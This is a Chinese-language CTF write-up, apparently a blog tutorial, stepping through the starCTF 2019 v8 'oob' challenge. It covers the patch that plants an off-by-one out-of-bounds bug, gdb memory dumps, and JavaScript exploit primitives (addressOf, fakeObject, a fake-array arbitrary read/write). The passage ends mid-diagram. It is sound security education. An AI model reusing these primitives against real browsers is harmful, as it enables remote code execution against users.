0*00 写在前面
第一次接触浏览器的漏洞利用, 听了 ne0 大佬的精彩授课, 受益匪浅. 这篇文章主要是从入门角度, 一步步复现今年 starctf2019 中的浏览器漏洞题目 - oob. 期间遇到很多坑, 也解决了一些问题, 比如在实现任意地址读写后如何稳定获取 libc 基址的小技巧. 希望这篇文章能够给新入门的童鞋一点参考, 共同进步.
首先个人感觉, 学习浏览器漏洞利用的前提条件, 一是能够对传统的栈溢出和堆漏洞的利用方式有基本的认识, 比如知道堆的常规利用方式: 利用堆漏洞泄露 libc 基址, 然后修改 free_hook/malloc_hook 为 system 地址实现命令执行; 二是熟悉基本 JavaScript 对象和函数的使用. 建议新入门的童鞋可以先花时间看看 ctf.wiki, 打牢基础, 这样对后续学习漏洞利用会很有帮助.
0*01 v8 调试的相关基础
v8 是 Chrome 浏览器的 JavaScript 解析引擎, 针对 Chrome 浏览器的漏洞利用也几乎都是 v8 引擎引起的. 因此学习 v8 引擎的调试十分重要. 在调试之前需要先学会编译 v8 引擎, 网上有很多帖子, 这里就不在赘述了. 编译的过程遇到的坑, 也只有自己才能体会. 首先要知道的是, v8 编译后二进制名称叫 d8 而不是 v8. 下面讲解一下基本的调试技巧. 以下主要是在 Ubuntu18.04 平台中调试.
1. allow-natives-syntax 选项
v8 的这个选项, 主要是定义了一些 v8 运行时支持函数, 以便于本地调试:
- browser/x64.release$ ./d8 --allow-natives-syntax
- V8 version 7.5.0 (candidate)
- d8> var a = [1, 2, 3];
- undefined
- d8> %DebugPrint(a);
- 0x2ebcfb54dd41 <JSArray[3]>
- [1, 2, 3]
- d8> %SystemBreak();
- Trace/breakpoint trap (core dumped)
在加载 d8 时加入这个选项就可以在 JS 中调用一些有助于调试的本地运行时函数:
%DebugPrint(obj) 输出对象地址
%SystemBreak() 触发调试中断主要结合 gdb 等调试器使用
另外 d8 还提供了一系列调试支持, 具体可以查看 d8 -help 来使用, 目前入门阶段只需要学习这两个函数.
v8 的官方团队还编写了一个 gdb 的 gdbinit 脚本, 使得在 gdb 中就能可视化显示 v8 的对象结构. 将该脚本下载重命名为 gdbinit_v8, 然后添加至 /.gdbinit 脚本:
source /path/to/gdbinit_v8
下面将 - allow-natives-syntax 选项和 gdbinit 结合使用, 编写 test.JS 如下:
- var a = [1,2,3];
- var b = [1.1, 2.2, 3.3];
- var c = [a, b];
- %DebugPrint(a);
- %SystemBreak(); // 触发第一次调试
- %DebugPrint(b);
- %SystemBreak(); // 触发第二次调试
- %DebugPrint(c);
- %SystemBreak(); // 触发第三次调试
gdb 运行 d8:
- root@kali:~/ctf/browser/x64.release$ gdb ./d8
- pwndbg> set args --allow-natives-syntax ./test.JS
- pwndbg> r
- Starting program: x64.release/d8 --allow-natives-syntax ./test.JS
- [Thread debugging using libthread_db enabled]
- [New Thread 0x7ff87fde9700 (LWP 18393)]
- [New Thread 0x7ff87f5e8700 (LWP 18394)]
- [New Thread 0x7ff87ede7700 (LWP 18395)]
0x12e891f8df11 <JSArray[3]> <-- 这里打印出了数组对象 a 的内存地址
可以发现, 程序打印了数组对象 a 的内存地址, 并且 SystemBreak 触发了 gdb 的中断:
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────
- RCX 0x55646b212ac0 (Builtins_CallRuntimeHandler) - push rbp
- RDX 0x55646b834e00 - 0x7fffe55e9990 - 0x55646b834e00
- RDI 0x0
- RSI 0x7fffe55e9208 - 0x3796115c04d1 - 0x3796115c05
- R8 0x2ff2a3481869 - 0x3796115c0f
- R9 0x9c
- R10 0xa
- R11 0xfffffffffffffffb
- R12 0x55646b8bc280 - 0x0
- R13 0x55646b834e80 - 0x3796115c0751 - 0x7a00003796115c07
- R14 0x0
- R15 0x55646b8ba608 - 0x1baddead0baddeaf
- RBP 0x7fffe55e9190 - 0x7fffe55e91b8 - 0x7fffe55e91d8 - 0x7fffe55e9230 - 0x7fffe55e9258 - ...
- RSP 0x7fffe55e9168 - 0x55646aefc3b5 - mov r14, qword ptr [rbx + 0x58]
- RIP 0x55646b28ef71 (v8::base::OS::DebugBreak()+1) - ret
─────────────────────────────────────────────────────────────────[ DISASM ]───────────────────
0x55646b28ef71 <v8::base::OS::DebugBreak()+1> ret <0x55646aefc3b5>
↓
- 0x55646aefc3b5 mov r14, qword ptr [rbx + 0x58]
- 0x55646aefc3b9 mov rsi, qword ptr [rbx + 0x9da8]
- 0x55646aefc3c0 mov qword ptr [rbx + 0x9da8], r15
- 0x55646aefc3c7 add dword ptr [rbx + 0x9db8], -1
- 0x55646aefc3ce cmp qword ptr [rbx + 0x9db0], r12
- 0x55646aefc3d5 je 0x55646aefc3f0
- ......
- f 0 55646b28ef71 v8::base::OS::DebugBreak()+1
- f 1 55646aefc3b5
- f 2 55646b1bf554 Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+52
- f 3 55646b212b12 Builtins_CallRuntimeHandler+82
- f 4 55646b132766 Builtins_InterpreterEntryTrampoline+678
- f 5 2500000000
- f 6 2ff2a349f3b9
- f 7 12e891f8df99
- f 8 12e891f8df11
- f 9 3796115c04d1
- f 10 9c00000000
- pwndbg>
此时就可以利用上面已经加入的 gdbinit 脚本中包含的命令调试对象结构了. 这里我们主要使用 job 命令, 这个命令可以可视化显示 JavaScript 对象的内存结构:
- pwndbg> job 0x12e891f8df11
- 0x12e891f8df11: [JSArray]
- - map: 0x08721d4c2d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- - prototype: 0x2ff2a3491111 <JSArray[0]>
- - elements: 0x12e891f8de31 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- - length: 3
- - properties: 0x3796115c0c71 <FixedArray[0]> {
- #length: 0x1701198001a9 <AccessorInfo> (const accessor descriptor)
- }
- - elements: 0x12e891f8de31 <FixedArray[3]> {
- 0: 1
- 1: 2
- 2: 3
- }
这里需要注意的是, v8 在内存中只有数字和对象两种表示. 为了区分两者, v8 在所有对象的内存地址末尾都加了 1, 以便表示它是个对象. 因此上述对象 a 的实际内存地址应该是 0x12e891f8df10.
我们用 telescope 命令查看一下内存数据:
pwndbg> telescope 0x244de278df10
00:0000│ 0x244de278df10 - 0xbc01102d99 - 0x400002a234ca001
01:0008│ 0x244de278df18 - 0x2a234ca00c71 - 0x2a234ca008
02:0010│ 0x244de278df20 - 0x244de278de31 - 0x2a234ca008
03:0018│ 0x244de278df28 - 0x300000000
04:0020│ 0x244de278df30 - 0x2a234ca014f9 - 0x2a234ca001
05:0028│ 0x244de278df38 - 0x300000000
06:0030│ 0x244de278df40 - 0x3ff199999999999a
07:0038│ 0x244de278df48 - 0x400199999999999a
在 gdb 中使用 c 命令继续运行:
- pwndbg> c
- Continuing.
- 0x244de278df59 <JSArray[3]>
- ....
- pwndbg>
发现停在了第二次 SystemBreak 的地方, 然后用 job 命令查看第二个对象 b 的地址:
- pwndbg> job 0x244de278df59
- 0x244de278df59: [JSArray]
- - map: 0x00bc01102ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- - prototype: 0x0b61bda11111 <JSArray[0]>
- - elements: 0x244de278df31 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- - length: 3
- - properties: 0x2a234ca00c71 <FixedArray[0]> {
- #length: 0x141d086c01a9 <AccessorInfo> (const accessor descriptor)
- }
- - elements: 0x244de278df31 <FixedDoubleArray[3]> {
- 0: 1.1
- 1: 2.2
- 2: 3.3
- }
根据上面的经验, 很容易知道对象 b 的实际内存地址为 0x244de278df58.
2. v8 的对象结构
和 vb 等语言的解析类似, JavaScript 是一种解释执行语言, v8 本质上是一个 JavaScript 的解释执行程序.
首先, 需要了解 v8 解析执行 JavaScript 语句的基本流程: v8 在读取 JS 语句后, 首先将这一条语句解析为语法树, 然后通过解释器将语法树变为中间语言的 Bytecode 字节码, 最后利用内部虚拟机将字节码转换为机器码来执行.
为了加快解析过程, v8 会记录下某条语法树的执行次数, 当 v8 发现某条语法树执行次数超过一定阀值后, 就会将这段语法树直接转换为机器码. 后续再调用这条 JS 语句时, v8 会直接调用这条语法树对应的机器码, 而不用再转换为 ByteCode 字节码, 这样就大大加快了执行速度. 这就是著名的 JIT 优化.
这样的性能优化, 虽然加快了程序的执行, 但也带了很多安全问题. 如果 v8 本来通过 JIT 引擎为某段语法树比如 a+b 加法计算生成了一段机器码 add eax,ebx , 而在后续某个时刻, 攻击者在 JS 引擎中突然改变了 a 和 b 的对象类型, 而 JIT 引擎并没有识别出来这个改变, 这就造成了 a 和 b 对象在加法运算时的类型混淆. JIT 的漏洞利用后续会专门总结.
熟悉了 v8 的解析过程, 我们再来看一下 v8 中的对象结构. 以上面的数组对象 b 为例, 通过 job 命令可以看到一个对象在内存中布局大致如下所示:
map | 表明了一个对象的类型对象 b 为 PACKED_DOUBLE_ELEMENTS 类型 |
---|---|
prototype | prototype |
elements | 对象元素 |
length | 元素个数 |
properties | 属性 |
细心的童鞋可以发现, 数组对象的 elements 其实也是个对象, 这些元素在内存中的分布正好位于数组对象的上方, 即低地址处:
- pwndbg> job 0x244de278df31
- 0x244de278df31: [FixedDoubleArray]
- - map: 0x2a234ca014f9 <Map>
- - length: 3
- 0: 1.1
- 1: 2.2
- 2: 3.3
- pwndbg> telescope 0x244de278df30
00:0000│ 0x244de278df30 - 0x2a234ca014f9 - 0x2a234ca001
01:0008│ 0x244de278df38 - 0x300000000
02:0010│ 0x244de278df40 - 0x3ff199999999999a
03:0018│ 0x244de278df48 - 0x400199999999999a
04:0020│ 0x244de278df50 - 0x400a666666666666 ('ffffff\n@')
也就是说, 在内存申请上, v8 先申请了一块内存存储元素内容, 然后申请了一块内存存储这个数组的对象结构, 对象中的 elements 指向了存储元素内容的内存地址, 如下图所示:
- elements ----> +------------------------+
- | MAP +<---------+
- +------------------------+ |
- | element 1 | |
- +------------------------+ |
- | element 2 | |
- | ...... | |
- | element n | |
- ArrayObject ---->-------------------------+ |
- | map | |
- +------------------------+ |
- | prototype | |
- +------------------------+ |
- | elements | |
- | +----------+
- +------------------------+
- | length |
- +------------------------+
- | properties |
- +------------------------+
由于浏览器的漏洞利用几乎都要基于对象结构来实现, 因此熟悉上述 v8 对象的内存布局, 对后续会很有帮助.
注意, 上述内存布局是 FloatArray 的内存布局, 其它类型的 Array 与其类似, 但不完全相同.
3. 浏览器 v8 的解题步骤
一般浏览器的出题有两种, 一种是 diff 修改 v8 引擎源代码, 人为制造出一个漏洞, 另一种是直接采用某个 cve 漏洞. 一般在大型比赛中会直接采用第二种方式, 更考验选手的实战能力.
出题者通常会提供一个 diff 文件, 或直接给出一个编译过 diff 补丁后的浏览器程序. 如果只给了一个 diff 文件, 就需要我们自己去下载相关的 commit 源码, 然后本地打上 diff 补丁, 编译出浏览器程序, 再进行本地调试.
比如 starctf 中的 oob 题目给出了一个 diff 文件:
- diff --Git a/src/bootstrapper.cc b/src/bootstrapper.cc
- index b027d36..ef1002f 100644
- --- a/src/bootstrapper.cc
- +++ b/src/bootstrapper.cc
- ... ...
下载 v8 然后利用下面的命令, 将 diff 文件加入到 v8 中源代码分支中:
Git apply <oob.diff
最后编译出增加了 diff 补丁的 v8 程序调试即可.
0*02 分析 diff 文件
提供 diff 文件的浏览器漏洞利用题目, 第一步就是要认真查看 diff 文件, 确定出题者增加的漏洞具体信息. 观察 oob.diff 补丁文件可以发现, 出题者主要增加了三部分内容.
首先, 为 Array 对象增加了一个 oob 函数, 内部表示为 kArrayOob:
- --- a/src/bootstrapper.cc
- +++ b/src/bootstrapper.cc
- @@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
- Builtins::kArrayPrototypeCopyWithin, 2, false);
- SimpleInstallFunction(isolate_, proto, "fill",
- Builtins::kArrayPrototypeFill, 1, false);
- + SimpleInstallFunction(isolate_, proto, "oob",
- + Builtins::kArrayOob,2,false); // 增加了一个 oob 成员函数
- SimpleInstallFunction(isolate_, proto, "find",
- Builtins::kArrayPrototypeFind, 1, false);
- SimpleInstallFunction(isolate_, proto, "findIndex",
然后, 增加了 kArrayOob 函数的具体实现:
- --- a/src/builtins/builtins-array.cc
- +++ b/src/builtins/builtins-array.cc
- @@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
- return *final_length;
- }
- } // namespace
- +BUILTIN(ArrayOob){
- + uint32_t len = args.length();
- + if(len> 2) return ReadOnlyRoots(isolate).undefined_value();
- + Handle<JSReceiver> receiver;
- + ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
- + isolate, receiver, Object::ToObject(isolate, args.receiver()));
- + Handle<JSArray> array = Handle<JSArray>::cast(receiver);
- + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
- + uint32_t length = static_cast<uint32_t>(array->length()->Number());
- + if(len == 1){
- + //read
- + return *(isolate->factory()->NewNumber(elements.get_scalar(length))); //off by one 越界读取
- + }else{
- + //write
- + Handle<Object> value;
- + ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
- + isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
- + elements.set(length,value->Number());//off by one 越界写
- + return ReadOnlyRoots(isolate).undefined_value();
- + }
- +}
最后, 为 kArrayOob 类型做了与实现函数的关联:
- --- a/src/builtins/builtins-definitions.h
- +++ b/src/builtins/builtins-definitions.h
- @@ -368,6 +368,7 @@ namespace internal {
- TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
- /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
- TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
- + CPP(ArrayOob) \
- \
- /* ArrayBuffer */ \
- /* ES #sec-arraybuffer-constructor */ \
- diff --Git a/src/compiler/typer.cc b/src/compiler/typer.cc
- index ed1e4a5..c199e3a 100644
- --- a/src/compiler/typer.cc
- +++ b/src/compiler/typer.cc
- @@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
- return Type::Receiver();
- case Builtins::kArrayUnshift:
- return t->cache_->kPositiveSafeInteger;
- + case Builtins::kArrayOob:
- + return Type::Receiver();
- // ArrayBuffer functions.
- case Builtins::kArrayBufferIsView:
- 从上面看 diff 的增加的主要逻辑在第二部分.
- 大致意思就是: 获取 oob 函数的参数, 当参数个数为 1 时, 读取数组第 length 个元素的内容, 否则将第 length 个元素改写为 args 输入参数中的第二个参数, 注意上述参数个数是 C++ 中的参数长度.
- 我们都知道 C++ 中成员函数的第一个参数必定是 this 指针, 因此上述逻辑转换为 JavaScript 中的对应逻辑就是, 当 oob 函数的参数为空时, 返回数组对象第 length 个元素内容; 当 oob 函数参数个数不为 0 时, 就将第一个参数写入到数组中的第 length 个元素位置.
- 我们可以在 v8 中尝试调用该函数:
- browser/x64.release$ ./d8
- V8 version 7.5.0 (candidate)
- d8> var a = [1, 2, 3,4];
- undefined
- d8> a.oob();
- 2.09461420962815e-310
- d8> a.oob(1);
- undefined
- 可以看到当 oob 函数为空时打印了一个数值, 但这个数值是什么, 目前还不清楚.
- 理解了 diff 的内容后, 就要仔细分析漏洞点了. 假设定义一个数组对象长度为 length, 那么访问数组元素的下标就应该是 0 到 length-1, 但 diff 中增加的 oob 函数却可以读取和改写第 length 个元素. 很显然, 这里存在一个针对数组对象的 off by one 越界读写漏洞.
- 我们利用 gdb 结合 d8 调试一下. 编写 test.JS 如下
- var a = [1,2,3, 1.1];
- %DebugPrint(a);
- %SystemBreak();
- var data = a.oob();
- console.log("[*] oob return data:" + data.toString());
- %SystemBreak();
- a.oob(2);
- %SystemBreak();
- gdb 加载 v8:
- root@kali:~/ctf/browser/x64.release$ gdb ./d8
- pwndbg> set args --allow-natives-syntax ./test.JS
- pwndbg> r
- 0x15022c0cde49 <JSArray[4]>
- 可以看出, 第一次 SystemBreak 触发断点时, v8 打印了数组对象 a 的内存地址. 此时, 利用 job 和 telescope 命令查看对象和 elements 的内存布局, 如下所示:
- pwndbg> job 0x15022c0cde49
- 0x15022c0cde49: [JSArray]
- - map: 0x2620a5202ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- - prototype: 0x32bcaa8d1111 <JSArray[0]>
- - elements: 0x15022c0cde19 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- - length: 4
- - properties: 0x27e8bae80c71 <FixedArray[0]> {
- #length: 0x13483f7401a9 <AccessorInfo> (const accessor descriptor)
- }
- - elements: 0x15022c0cde19 <FixedDoubleArray[4]> {
- 0: 1
- 1: 2
- 2: 3
- 3: 1.1
- }
- pwndbg> telescope 0x15022c0cde48
- 00:0000│ 0x15022c0cde48 - 0x2620a5202ed9 - 0x4000027e8bae801
- 01:0008│ 0x15022c0cde50 - 0x27e8bae80c71 - 0x27e8bae808
- 02:0010│ 0x15022c0cde58 - 0x15022c0cde19 - 0x27e8bae814
- 03:0018│ 0x15022c0cde60 - 0x400000000
- 04:0020│ 0x15022c0cde68 - 0x0
- ... ↓
- pwndbg> job 0x15022c0cde19 <-- 数组对象的 elements 结构
- 0x15022c0cde19: [FixedDoubleArray]
- - map: 0x27e8bae814f9 <Map>
- - length: 4
- 0: 1
- 1: 2
- 2: 3
- 3: 1.1
- pwndbg> telescope 0x15022c0cde18
- 00:0000│ 0x15022c0cde18 - 0x27e8bae814f9 - 0x27e8bae801
- 01:0008│ 0x15022c0cde20 - 0x400000000
- 02:0010│ 0x15022c0cde28 - 0x3ff0000000000000
- 03:0018│ 0x15022c0cde30 - 0x4000000000000000
- 04:0020│ 0x15022c0cde38 - 0x4008000000000000
- 05:0028│ 0x15022c0cde40 - 0x3ff199999999999a
- 06:0030│ 0x15022c0cde48 - 0x2620a5202ed9 - 0x4000027e8bae801
- 07:0038│ 0x15022c0cde50 - 0x27e8bae80c71 - 0x27e8bae808
- 第二次 SystemBreak 中断, 获取了 oob 的返回值:
- pwndbg> c
- Continuing.
- [*] oob return data:2.0712047654477e-310
- 第三次触发 SystemBreak 中断后, 重新查看查看对象 a 的 elements 布局:
- pwndbg> telescope 0x15022c0cde48
- 00:0000│ 0x15022c0cde48 - 0x4000000000000000 MAP 类型
- 01:0008│ 0x15022c0cde50 - 0x27e8bae80c71 - 0x27e8bae808
- 02:0010│ 0x15022c0cde58 - 0x15022c0cde19 - 0x27e8bae814
- 03:0018│ 0x15022c0cde60 - 0x400000000
- 04:0020│ 0x15022c0cde68 - 0x27e8bae80561 - 0x2000027e8bae801
- 05:0028│ 0x15022c0cde70 - 0x2620a5202ed9 - 0x4000027e8bae801
- 06:0030│ 0x15022c0cde78 - 0x27e8bae81ea9 - 0x4000027e8bae801
- 07:0038│ 0x15022c0cde80 - 0x2800000003
- pwndbg> telescope 0x15022c0cde18
- 00:0000│ 0x15022c0cde18 - 0x27e8bae814f9 - 0x27e8bae801
- 01:0008│ 0x15022c0cde20 - 0x400000000
- 02:0010│ 0x15022c0cde28 - 0x3ff0000000000000
- 03:0018│ 0x15022c0cde30 - 0x4000000000000000
- 04:0020│ 0x15022c0cde38 - 0x4008000000000000
- 05:0028│ 0x15022c0cde40 - 0x3ff199999999999a
- 06:0030│ 0x15022c0cde48 - 0x4000000000000000 <-- 第 length 个元素内容被修改为了 2 浮点数表示
- 07:0038│ 0x15022c0cde50 - 0x27e8bae80c71 - 0x27e8bae808
- 可以看到, oob 函数将数组对象的第 length 个元素给改写了. 如果对照数组对象被改写前后的变化, 细心的童鞋会发现, 改写的第 length 个元素内容, 实际上是数组对象的 MAP 属性. MAP 属性代表的是一个对象的类型, 如果将上述浮点数转换为 16 进制打印, 我们会发现 oob 读取的内容即为数组对象 MAP 属性.
- 也就是说, diff 增加的 oob 函数, 可以实现读写数组对象 MAP 属性的漏洞效果.
- 0*03 编写 addressOf 和 fakeObject
- 基于上述分析, 如果我们利用 oob 的读取功能将数组对象 A 的对象类型 Map 读取出来, 然后利用 oob 的写入功能将这个类型写入数组对象 B, 就会导致数组对象 B 的类型变为了数组对象 A 的对象类型, 这样就造成了类型混淆.
- 那出现类型混淆怎么利用呢? 举个例子, 如果我们定义一个 FloatArray 浮点数数组 A, 然后定义一个对象数组 B. 正常情况下, 访问 A[0] 返回的是一个浮点数, 访问 B[0] 返回的是一个对象元素. 如果将 B 的类型修改为 A 的类型, 那么再次访问 B[0] 时, 返回的就不是对象元素 B[0], 而是 B[0] 对象元素转换为浮点数即 B[0] 对象的内存地址了; 如果将 A 的类型修改为 B 的类型, 那么再次访问 A[0] 时, 返回的就不是浮点数 A[0], 而是以 A[0] 为内存地址的一个 JavaScript 对象了.
- 造成上面的原因在于, v8 完全依赖 Map 类型对 JS 对象进行解析. 上面这个逻辑希望能仔细理解一下.
- 通过上面两种类型混淆的方式, 能够实现如下效果:
- 计算一个对象的地址 addressOf: 将需要计算内存地址的对象存放到一个对象数组中的 A[0], 然后利用上述类型混淆漏洞, 将对象数组的 Map 类型修改为浮点数数组的类型, 访问 A[0] 即可得到浮点数表示的目标对象的内存地址.
- 将一个内存地址伪造为一个对象 fakeObject: 将需要伪造的内存地址存放到一个浮点数数组中的 B[0], 然后利用上述类型混淆漏洞, 将浮点数数组的 Map 类型修改为对象数组的类型, 那么 B[0] 此时就代表了以这个内存地址为起始地址的一个 JS 对象了.
- 下面我们利用 JavaScript 实现上述 addressOf 和 fakeObject 功能原语.
- 首先定义两个全局的 Float 数组和对象数组, 利用 oob 函数漏洞泄露两个数组的 Map 类型:
- var obj = {"a": 1};
- var obj_array = [obj];
- var float_array = [1.1];
- var obj_array_map = obj_array.oob();
- var float_array_map = float_array.oob();
- 然后实现下面两个函数.
- addressOf 泄露某个对象的内存地址
- // 泄露某个 object 的地址
- function addressOf(obj_to_leak)
- {
- obj_array[0] = obj_to_leak;
- obj_array.oob(float_array_map);
- let obj_addr = f2i(obj_array[0]) - 1n;
- obj_array.oob(obj_array_map); // 还原 array 类型以便后续继续使用
- return obj_addr;
- }
- fakeObject 将指定内存强制转换为一个 JS 对象
- // 将某个 addr 强制转换为 object 对象
- function fakeObject(addr_to_fake)
- {
- float_array[0] = i2f(addr_to_fake + 1n);
- float_array.oob(obj_array_map);
- let faked_obj = float_array[0];
- float_array.oob(float_array_map); // 还原 array 类型以便后续继续使用
- return faked_obj;
- }
- 编写测试语句, 打印一个对象的地址:
- var test_obj = {};
- %DebugPrint(test_obj);
- var test_obj_addr = addressOf(test_obj);
- console.log("[*] leak object addr: 0x" + test_obj_addr.toString(16));
- %SystemBreak();
- 上面 %DebugPrint 函数是为了本地调试时做参考用的. 利用 gdb 加载 d8, 执行上述 test.JS 脚本, 会得到以下输出:
- 0x1d2cdad4f251 <Object map = 0x3bd05f9c0459>
- [*] leak object addr: 0x0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074b36b53c94
- 地址显示的并不正确, 这是因为计算后得到的 test_obj_addr 是以浮点数存储的, 而我们应该显示的是 8 字节 16 进制无符号整数, 直接将浮点数转换为字符串肯定是不正确的. 下面用 JS 编写一个 8 字节浮点数转 16 进制无符号整数的代码.
- var buf =new ArrayBuffer(16);
- var float64 = new Float64Array(buf);
- var bigUint64 = new BigUint64Array(buf);
- // 浮点数转换为 64 位无符号整数
- function f2i(f)
- {
- float64[0] = f;
- return bigUint64[0];
- }
- // 64 位无符号整数转为浮点数
- function i2f(i)
- {
- bigUint64[0] = i;
- return float64[0];
- }
- // 64 位无符号整数转为 16 进制字节串
- function hex(i)
- {
- return i.toString(16).padStart(16, "0");
- }
- 将上面所有代码结合在一起存储为 test.JS:
- // ********1. 无符号 64 位整数和 64 位浮点数的转换代码 ********
- var buf =new ArrayBuffer(16);
- var float64 = new Float64Array(buf);
- var bigUint64 = new BigUint64Array(buf);
- // 浮点数转换为 64 位无符号整数
- function f2i(f)
- {
- float64[0] = f;
- return bigUint64[0];
- }
- // 64 位无符号整数转为浮点数
- function i2f(i)
- {
- bigUint64[0] = i;
- return float64[0];
- }
- // 64 位无符号整数转为 16 进制字节串
- function hex(i)
- {
- return i.toString(16).padStart(16, "0");
- }
- // ********2. addressOf 和 fakeObject 的实现 ********
- var obj = {"a": 1};
- var obj_array = [obj];
- var float_array = [1.1];
- var obj_array_map = obj_array.oob();
- var float_array_map = float_array.oob();
- // 泄露某个 object 的地址
- function addressOf(obj_to_leak)
- {
- obj_array[0] = obj_to_leak;
- obj_array.oob(float_array_map);
- return obj_array[0];
- }
- // 将某个 addr 强制转换为 object 对象
- function fakeObject(addr_to_fake)
- {
- float_array[0] = i2f(addr_to_fake + 1n);
- float_array.oob(obj_array_map);
- let faked_obj = float_array[0];
- float_array.oob(float_array_map); // 还原 array 类型以便后续继续使用
- return faked_obj;
- }
- var test_obj = {};
- %DebugPrint(test_obj);
- var test_obj_addr = f2i(addressOf(test_obj));
- console.log("[*] leak object addr: 0x" + hex(test_obj_addr));
- %SystemBreak();
- gdb 调试 d8, 得到输出结果:
- pwndbg> r
- 0x08d6b764f031 <Object map = 0x11be70d00459>
- [*] leak object addr: 0x000008d6b764f031
- 可以发现, 我们正确泄露出了指定对象的地址. 同样, 我们也可以利用 fakeObject 将某个内存地址转换为一个 object 对象.
- 0*04 如何实现任意地址读写: 构造 AAR/AAW 原语
- 在实现上述任意对象地址泄露 addressOf 和任意地址对象构造 fakeObject 的 JS 原语后, 接下来怎么利用呢? 这时候就要利用到 fakeObject 函数了.
- 既然 fakeObject 可以将一个内存地址强制转换为一个 JS 对象, 结合上面对 JS 对象内存布局的理解, 如下图所示:
- ArrayObject ---->-------------------------+
- | map |
- +------------------------+
- | prototype |
- +------------------------+
- | elements 指针 |
- | +
- +------------------------+
- | length |
- +------------------------+
- | properties |
- +------------------------+
- 如果我们在一块内存上部署了上述虚假的内存属性, 比如数组对象的 map,prototype,elements 指针, length,properties 属性, 我们就可以利用前面通过漏洞实现的 fakeObject 原语, 强制将这块内存伪造为一个数组对象.
- 恶意构造的这个数组对象的 elements 指针是可控的, 而这个指针指向了存储数组元素内容的内存地址. 如果我们将这个指针修改为我们想要访问的内存地址, 那后续我们访问这个数组对象的内容, 实际上访问的就是我们修改后的内存地址指向的内容, 这样也就实现了对任意指定地址的内存访问读写效果了.
- 具体说明一下, 假设我们定义一个 float 数组对象 fake_array, 我们可以利用 addressOf 泄露 fake_array 对象的地址, 然后根据其 elements 对象与 fake_object 的内存偏移, 可以得出 elements 地址 = addresOf(fake_object) - 0*30 的关系, 从内存布局中我们也能得到这样的关系:
- pwndbg> job 0x15022c0cde49
- 0x15022c0cde49: [JSArray]
- - map: 0x2620a5202ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- - prototype: 0x32bcaa8d1111 <JSArray[0]>
- - elements: 0x15022c0cde19 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS] <-- elements 指针
- - length: 4
- - properties: 0x27e8bae80c71 <FixedArray[0]> {
- #length: 0x13483f7401a9 <AccessorInfo> (const accessor descriptor)
- }
- - elements: 0x15022c0cde19 <FixedDoubleArray[4]> {
- 0: 1
- 1: 2
- 2: 3
- 3: 1.1
- }
- pwndbg> telescope 0x15022c0cde48
- 00:0000│ 0x15022c0cde48 - 0x2620a5202ed9 - 0x4000027e8bae801
- 01:0008│ 0x15022c0cde50 - 0x27e8bae80c71 - 0x27e8bae808
- 02:0010│ 0x15022c0cde58 - 0x15022c0cde19 - 0x27e8bae814
- 03:0018│ 0x15022c0cde60 - 0x400000000
- 04:0020│ 0x15022c0cde68 - 0x0
- ... ↓
- pwndbg> job 0x15022c0cde19 <-- elements 结构
- 0x15022c0cde19: [FixedDoubleArray]
- - map: 0x27e8bae814f9 <Map>
- - length: 4
- 0: 1
- 1: 2
- 2: 3
- 3: 1.1
- pwndbg> telescope 0x15022c0cde18
- 00:0000│ 0x15022c0cde18 - 0x27e8bae814f9 - 0x27e8bae801
- 01:0008│ 0x15022c0cde20 - 0x400000000
- 02:0010│ 0x15022c0cde28 - 0x3ff0000000000000 <---- elements+0x10 存储的才是数组元素
- 03:0018│ 0x15022c0cde30 - 0x4000000000000000
- 04:0020│ 0x15022c0cde38 - 0x4008000000000000
- 05:0028│ 0x15022c0cde40 - 0x3ff199999999999a
- 06:0030│ 0x15022c0cde48 - 0x2620a5202ed9 - 0x4000027e8bae801
- 07:0038│ 0x15022c0cde50 - 0x27e8bae80c71 - 0x27e8bae808
- 需要注意的是, elements 对象 + 0*10 的位置才是实际存储数组元素的地方.
- 如果提前将 fake_object 构造为如下形式:
- var fake_array = [
- float_array_map, // 这里填写之前 oob 泄露的某个 float 数组对象的 map
- 0,
- i2f(0x4141414141414141), <-- elements 指针
- i2f(0x400000000)
- ];
- 我们很容易通过 addreOf(fake_object)-0*20 计算得出存储数组元素内容的内存地址, 然后通过 fakeObject 函数就可以将这个地址强制转换成一个恶意构造的对象 fake_object 了.
- 后续如果我们访问 fake_object[0], 实际上访问的就是其 elements 指针即 0*4141414141414141+0*10 指向的内存内容了, 而这个指针内容是我们完全可控的, 因此可以写为我们想要访问的任意内存地址. 利用上述一套 s 操作, 我们就实现了任意地址读写. 这一过程中的内存布局转换如下图所示:
- +---> elements +---> +---------------+
- | | |
- | +---------------+
- | | |
- | +---------------+ fakeObject +--------------+
- | |fake_array[0] | +----------> | map |
- | +---------------+ +--------------+ 想 要 修 改 的
- | |fake_array[1] | | prototype | 内 存
- | +---------------+ +--------------+ +-------------+
- | |fake_array[2] | | elements | +------> | |
- | +---------------+ +--------------+ | |
- | | | | | | |
- | | | | | | |
- | fake_array+--> +---------------+ | | | |
- | | map | | | | |
- | +---------------+ | | | |
